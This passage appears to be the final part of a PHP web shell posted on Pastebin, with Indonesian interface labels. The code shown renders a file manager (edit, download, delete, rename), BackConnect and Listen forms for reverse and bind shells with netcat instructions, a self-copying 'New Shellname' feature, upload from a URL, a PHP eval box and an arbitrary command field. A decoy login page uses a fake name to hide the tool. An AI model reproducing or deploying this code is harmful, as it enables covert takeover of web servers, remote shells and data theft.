  967.         $faction = "<a href=\"?dir=".xcleanpath($dir)."&view=".$fname."\">Edit</a> | <a href=\"?get=".$fname."\">Download</a> | <a href=\"?dir=".xcleanpath($dir)."&del=".$fname."\">Remove</a>";
  968.         $fview = "<a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=text\"><span class=\"gaul\">[ </span>text<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=code\"><span class=\"gaul\">[ </span>code<span class=\"gaul\"> ]</span></a><a href=\"?dir=".xcleanpath($dir)."&properties=".$fname."&type=img\"><span class=\"gaul\">[ </span>image<span class=\"gaul\"> ]</span></a>";
  969.     }
  970.     $fowner = xfileowner($fname);
  971.     $fperm = xfileperms($fname);
  972.     $result = "<div style=\"display:inline;\">
  973.     <form action=\"?\" method=\"get\" style=\"margin:0;padding:1px 8px;text-align:left;\">
  974.     <input type=\"hidden\" name=\"dir\" value=\"".$dir."\" />
  975.     <input type=\"hidden\" name=\"oldfilename\" value=\"".$fname."\" />".$faction." |
  976.     <span><input style=\"width:50%;\" type=\"text\" name=\"properties\" value=\"".$fname."\" />
  977.     <input style=\"width:120px\" class=\"btn\" type=\"submit\" name=\"btnRename\" value=\"Rename\" />
  978.     </span>
  979.     <div class=\"fprop\">
  980.     Size = ".$fsize."<br />".$imginfo."
  981.     Owner = <span class=\"gaul\">( </span>".$fowner."<span class=\"gaul\"> )</span><br />
  982.     Permission = <span class=\"gaul\">( </span>".$fperm."<span class=\"gaul\"> )</span><br />
  983.     Create Time = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filectime($fname))."<span class=\"gaul\"> )</span><br />
  984.     Last Modified = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@filemtime($fname))."<span class=\"gaul\"> )</span><br />
  985.     Last Accessed = <span class=\"gaul\">( </span>".date("d-M-Y H:i",@fileatime($fname))."<span class=\"gaul\"> )</span><br />
  986.     ".$fview."
  987.     </div>
  988.     ".$fcont."
  989.     </form>
  990.     </div>
  991.     ";
  992. }
  993. elseif((isset($_GET['view']) && ($_GET['view'] != "")) || ((isset($_GET['filename']) && ($_GET['filename'] != "")))){
  994.     $msg = "";
  995.     if(isset($_POST['save']) && ($_POST['save'] == "Simpan")){
  996.         $file = xclean(trim($_POST['saveAs']));
  997.         $content = xclean($_POST['filesource']);
  998.         if(xfilesave($file,$content)) $pesan = "File Saved";
  999.         else  $pesan = "Failed to save file";
  1000.         $msg = "<span style=\"float:right;\"><span class=\"gaul\">[ </span>".$pesan."<span class=\"gaul\"> ]</span></span>";
  1001.     }
  1002.     else {
  1003.         if(isset($_GET['view']) && ($_GET['view'] != "")) $file = xclean(trim($_GET['view']));
  1004.         else $file = $xCwd.xclean(trim($_GET['filename']));
  1005.     }
  1006.     $result = xfileopen($file);
  1007.     $result = htmlentities($result);
  1008.     $result = "
  1009.     <p style=\"padding:0;margin:0;text-align:left;\"><a href=\"?dir=".$xCwd."&properties=".$file."\">".xfilesummary($file)."</a>".$msg."</p><div style=\"clear:both;margin:0;padding:0;\"></div>
  1010.     <form action=\"?dir=".$xCwd."&view=".$file."\" method=\"post\">
  1011. <textarea name=\"filesource\" style=\"width:100%;height:200px;\">".$result."</textarea>
  1012.     <input type=\"text\" style=\"width:80%;\"  name=\"saveAs\" value=\"".$file."\" />
  1013.     <input type=\"submit\" class=\"btn\" style=\"width:120px;\" name=\"save\" value=\"Simpan\" />
  1014.     </form>
  1015.     ";
  1016. }
  1017. else{
  1018.     $result = xdir($xCwd);
  1019. }
  1020. //################# Finalizing #######################======================================================]
  1021. if($auth){
  1022.     if(isset($_GET['bportC'])) $bportC = $_GET['bportC'];
  1023.     else $bportC = $shell_fav_port;
  1024.     if(isset($_GET['lportC'])) $lportC = $_GET['lportC'];
  1025.     else $lportC = $shell_fav_port;
  1026.     $html_title = $shell_title." ".$xCwd;
  1027.     $html_head = "
  1028. <title>".$html_title."</title>
  1029. <link rel=\"SHORTCUT ICON\" href=".$_SERVER['SCRIPT_NAME']."img=icon\" />
  1030. ".$shell_style."
  1031. <script type=\"text/javascript\">
  1032. function updateInfo(boxid,typ){
  1033.     if(typ == 0){
  1034.         var pola = 'example: (using netcat) run &quot;nc -l -p __PORT__&quot; and then press Connect';
  1035.     }
  1036.     else{
  1037.         var pola = 'example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." __PORT__&quot;';
  1038.     }
  1039.  
  1040.     var portnum = document.getElementById(boxid).value;
  1041.  
  1042.     var hasil = pola.replace('__PORT__', portnum);
  1043.     document.getElementById(boxid+'_').innerHTML = hasil;
  1044. }
  1045. function show(boxid){
  1046.     var box = document.getElementById(boxid);
  1047.     if(box.style.display != 'inline'){
  1048.         document.getElementById('newfile').style.display = 'none';
  1049.         document.getElementById('newfolder').style.display = 'none';
  1050.         document.getElementById('newupload').style.display = 'none';
  1051.         document.getElementById('newchild').style.display = 'none';
  1052.         document.getElementById('newconnect').style.display = 'none';
  1053.         document.getElementById('div_eval').style.display = 'none';
  1054.  
  1055.         box.style.display = 'inline';
  1056.         box.focus();
  1057.     }
  1058.     else box.style.display = 'none';
  1059. }
  1060. function highlighthexdump(address){
  1061.     var target = document.getElementById(address);
  1062.     target.style.background = '".$shell_color."';
  1063. }
  1064. function unhighlighthexdump(address){
  1065.     var target = document.getElementById(address);
  1066.     target.style.background = 'none';
  1067. }
  1068. </script>
  1069. ";
  1070. $html_body = "
  1071. <div id=\"wrapper\">
  1072. <h1 onmouseover=\"this.style.cursor='pointer';this.style.cursor='hand';\"  onclick=\"window.location= '?';\"><a href=\"?\">".$shell_title."</a></h1>
  1073. <div class=\"box\">".$xHeader."
  1074. <div class=\"fpath\">
  1075. ".xdrive().xparsedir($xCwd)."
  1076. </div>
  1077. <div class=\"menu\">
  1078. <a href=\"javascript:show('newfile');\"><span class=\"gaul\">| </span> File Baru<span class=\"gaul\"> |</span></a>
  1079. <a href=\"javascript:show('newfolder');\"><span class=\"gaul\">| </span>Folder Baru<span class=\"gaul\"> |</span></a>
  1080. <a href=\"javascript:show('newchild');\"><span class=\"gaul\">| </span>Mengulangi<span class=\"gaul\"> |</span></a>
  1081. <a href=\"javascript:show('newupload');\"><span class=\"gaul\">| </span>Upload<span class=\"gaul\"> |</span></a>
  1082. <a href=\"javascript:show('newconnect');\"><span class=\"gaul\">| </span>BindShell<span class=\"gaul\"> |</span></a>
  1083. <a href=\"javascript:show('div_eval');\"><span class=\"gaul\">| </span>PHP Eval<span class=\"gaul\"> |</span></a>
  1084. </div>
  1085. <div class=\"hidden\" id=\"newconnect\">
  1086. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1087. <table class=\"tblBox\" style=\"width:100%;\">
  1088. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1089. <tr><td style=\"width:130px;\">BackConnect</td><td style=\"width:200px;\">
  1090. Port&nbsp;<input maxlength=\"5\" id=\"backC\" onkeyup=\"updateInfo('backC',0);\" style=\"width:60px;\" type=\"text\" name=\"bportC\" value=\"".$bportC."\" />
  1091. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnConnect\" value=\"Connect\" />
  1092. </td>
  1093. <td><span id=\"backC_\" class=\"msgcon\">example: (using netcat) run &quot;nc -l -p ".$bportC."&quot; and then press Connect</span></td>
  1094. </tr>
  1095. <tr><td>Listen</td><td>
  1096. Port&nbsp;<input maxlength=\"5\" id=\"listenC\" onkeyup=\"updateInfo('listenC',1);\" style=\"width:60px;\" type=\"text\" name=\"lportC\" value=\"".$lportC."\" />
  1097. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnListen\" value=\"Listen\" />
  1098. </td>
  1099. <td><span id=\"listenC_\" class=\"msgcon\">example: (using netcat) press &quot;Listen&quot; and then run &quot;nc ".$xServerIP." ".$lportC."&quot;</span></td>
  1100. </tr>
  1101. </table>
  1102. </form>
  1103. </div>
  1104. <div class=\"hidden\" id=\"newfolder\">
  1105. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1106. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1107. <table class=\"tblBox\" style=\"width:560px;\">
  1108. <tr><td style=\"width:120px;\">New Foldername</td><td style=\"width:304px;\">
  1109. <input style=\"width:300px;\" type=\"text\" name=\"foldername\" value=\"newfolder\" />
  1110. </td><td>
  1111. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfolder\" value=\"Create\" />
  1112. </td></tr>
  1113. </table>
  1114. </form>
  1115. </div>
  1116. <div class=\"hidden\" id=\"newfile\">
  1117. <form action=\"?\" method=\"get\" style=\"display:inline;margin:0;padding:0;\">
  1118. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1119. <table class=\"tblBox\" style=\"width:560px;\">
  1120. <tr><td style=\"width:120px;\">New Filename</td><td style=\"width:304px;\">
  1121. <input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"newfile\" />
  1122. </td><td>
  1123. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewfile\" value=\"Create\" />
  1124. </td></tr>
  1125. </form>
  1126. </table>
  1127. </div>
  1128. <div class=\"hidden\" id=\"newupload\">
  1129. <form method=\"post\" action=\"?dir=".$xCwd."\" enctype=\"multipart/form-data\" style=\"display:inline;margin:0;padding:0;\">
  1130. <table class=\"tblBox\" style=\"width:560px;\">
  1131. <tr><td style=\"width:120px;\">Simpan</td><td><input style=\"width:300px;\" type=\"text\" name=\"filename\" value=\"\" /></td></tr>
  1132. <tr><td style=\"width:120px;\">Dari Url</td><td style=\"width:304px;\">
  1133. <input style=\"width:300px;\" type=\"text\" name=\"fileurl\" value=\"\" />
  1134. </td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadUrl\" value=\"Get\" /></td></tr>
  1135. <tr><td style=\"width:120px;\">Dari Komputer</td><td style=\"width:304px;\">
  1136. <input style=\"width:300px;\" type=\"file\" name=\"filelocal\" />
  1137. </td><td>
  1138. <input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewUploadLocal\" value=\"Get\" />
  1139. </td></tr>
  1140. </table>
  1141. </form>
  1142. </div>
  1143. <div class=\"hidden\" id=\"newchild\">
  1144. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1145. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1146. <table class=\"tblBox\" style=\"width:560px;\">
  1147. <tr><td style=\"width:120px;\">New Shellname</td><td style=\"width:304px;\">
  1148. <input style=\"width:300px;\" type=\"text\" name=\"childname\" value=\"".$shell_name.".php\"; />
  1149. </td><td><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnNewchild\" value=\"Create\" />
  1150. </td></tr>
  1151. </table>
  1152. </form>
  1153. </div>
  1154. <div class=\"hidden\" id=\"div_eval\">
  1155. <form method=\"get\" action=\"?\" style=\"display:inline;margin:0;padding:0;\">
  1156. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1157. <table class=\"tblBox\" style=\"width:560px;\">
  1158. <tr><td>
  1159. <textarea name=\"eval\" style=\"width:100%;height:100px;\"></textarea>
  1160. </td></tr><tr>
  1161. <td style=\"text-align:right;\"><input style=\"width:100px;\" type=\"submit\" class=\"btn\" name=\"btnEval\" value=\"Eval\" /></td></tr>
  1162. </table>
  1163. </form>
  1164. </div>
  1165. <div class=\"bottomwrapper\">
  1166. <div class=\"cmdbox\">
  1167. <form action=\"?\" method=\"get\">
  1168. <input type=\"hidden\" name=\"dir\" value=\"".$xCwd."\" />
  1169. <table style=\"width:100%;\"><tr>
  1170. <td style=\"width:88%;\"><input type=\"text\" id=\"cmd\" name=\"cmd\" value=\"\" style=\"width:100%;\" /></td>
  1171. <center><td style=\"width:10%;\"><input type=\"submit\" class=\"btn\" name=\"btnCommand\" style=\"width:120px;\" value=\"Menjalankan\" /></td></tr></table></center>
  1172. </form>
  1173. </div>
  1174. <div class=\"result\" id=\"result\">
  1175. ".$result."
  1176. </div></div></div></div>
  1177. ";
  1178. }
  1179. else {
  1180.     $html_title = $shell_fake_name;
  1181.     $html_head = "<title>".$html_title."</title>".$shell_style;
  1182.     $html_body = "<div style=\"margin:30px;\">
  1183. <div>
  1184. <form action=\"?\" method=\"post\">
  1185. <input id=\"cmd\" type=\"text\" name=\"passw\" value=\"\" />
  1186. <input type=\"submit\" name=\"btnpasswd\" value=\"Ok\" />
  1187. </form>
  1188. </div>
  1189. <div style=\"font-size:10px;\">".$shell_fake_name."</div>
  1190. </div>
  1191. ";
  1192. }
  1193. if(isset($_GET['cmd']) || isset($_POST['passw'])) $html_onload = "onload=\"document.getElementById('cmd').focus();\"";
  1194. else $html_onload = "";
  1195. $html_final = "<html>
  1196. <head>
  1197. ".$html_head."
  1198. </head>
  1199. <body ".$html_onload.">
  1200. <div id=\"mainwrapper\">
  1201. ".$html_body."
  1202. </div>
  1203. </body>
  1204. </html>";
  1205. echo preg_replace("/\s+/"," ",$html_final);
  1206. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!